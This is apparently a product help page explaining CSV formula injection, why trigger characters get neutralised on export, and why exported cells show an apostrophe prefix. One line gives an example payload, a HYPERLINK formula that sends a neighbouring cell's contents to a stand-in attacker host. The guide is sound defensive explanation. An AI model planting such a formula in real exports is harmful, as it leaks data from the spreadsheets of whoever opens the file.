CSV formula injection
CSV has no types, so a spreadsheet decides what a cell means when it opens the file. A value beginning with =, +, - or @ is read as a formula and evaluated — including a value that arrived from a stranger through a web form. Neutralising it on export is why an exported cell can look escaped: the escaping is the fix.
The attack in one sentence#
Somebody types a formula into a field you collect — a company name, an enquiry message, a job title — it is stored faithfully as text, and later somebody exports the table to CSV and opens it in a spreadsheet, where it stops being text.
Nothing in the chain is a bug in the usual sense. The form stored what was typed. The export wrote what was stored. The spreadsheet applied its own documented rule about what a leading equals sign means. The harm arrives from combining three correct behaviours, which is why it is sometimes missed in review.
Dangerous leading characters: = + - @ and a leading tab or carriage return
Stored value: =HYPERLINK("https://attacker.example.net?d="&A2,"Click for details")
Opened as CSV: a live link carrying the neighbouring cell's contents
Historically also: external-data and command-execution functions, which
spreadsheet applications now prompt about rather than run silently.Modern spreadsheets prompt before the most dangerous of these run, which reduces the risk without removing it — a prompt is only as good as the person clicking through it, and the link case above raises no prompt at all.
What does not fix it#
- Quoting the field. CSV quoting protects commas and newlines inside a value. The spreadsheet removes the quotes and then evaluates what is inside, so a quoted formula is still a formula.
- Validating on input. Refusing an equals sign in a company name is hostile to legitimate data and still leaves every field you did not think of. The problem belongs to the export, where the destination is known.
- Telling people not to open exports in a spreadsheet. That is what an export is for.
- Relying on the application's prompt. It is a mitigation belonging to somebody else's software, on a version you do not control.
The neutralisation, and why the file looks odd#
The fix is applied when the CSV is written: a value whose first character would trigger evaluation is prefixed so the spreadsheet treats it as text. A leading apostrophe is the common choice, and some writers prefix a tab instead.
That prefix is visible. Open the CSV in a text editor and the cell has a character in front of it that was not in your data; open it in a spreadsheet and, depending on the application, you may see the apostrophe in the formula bar. This is the protection working, not a corrupted export. The value is intact and is being presented as text.
| Symptom | Cause | Is it a fault? |
|---|---|---|
| A leading apostrophe on some cells only | Those cells begin with a character a spreadsheet would evaluate | No — neutralisation is applied per value, not to the whole file |
| A negative number appears quoted or prefixed | A leading minus is one of the trigger characters | No, though it is the case people query most often |
| The same value has no prefix elsewhere | It does not start with a trigger character in that row | No |
| A formula you deliberately stored is now text | The export cannot distinguish your formula from a stranger's | Working as intended. A spreadsheet you built belongs in a spreadsheet file, not in a CSV round trip |
Does Connect use formula neutralisation?#
Yes. CSV export neutralises formulas. The Data grid exports across its thirteen record sheets, and a great deal of what those sheets hold arrived from outside the workspace — an inbound message, a website enquiry, a prospect's own public material. Exporting that unprotected would hand each recipient's spreadsheet whatever a stranger typed.
In the other direction, a value beginning with an equals sign that is imported into the grid is stored as the text it is. The grid is not a spreadsheet engine and evaluates nothing; every change it makes goes through the service that owns the record, which is also why an import cannot smuggle behaviour past a record's own rules.
Questions#
My exported CSV has an apostrophe in front of some values. Is the export broken?
No. Those values begin with a character a spreadsheet would treat as the start of a formula, and the prefix makes the application read them as text instead. The underlying value is unchanged, and removing the prefix by hand would re-create exactly the risk it was added to remove.
Could someone really put a formula into my records?
They do not need access to your records — only to a field you collect. A company name, an enquiry message or a signature line typed by anyone at all is stored faithfully, and faithfully is the problem: what was harmless text in a database becomes an instruction the moment a spreadsheet opens it.
Does this affect the XLSX files Connect can create?
A spreadsheet file carries explicit types, so a cell is text or a formula because the file says which, rather than because of how it starts. The ambiguity is specific to CSV, which has no types at all and leaves the decision to whatever opens it.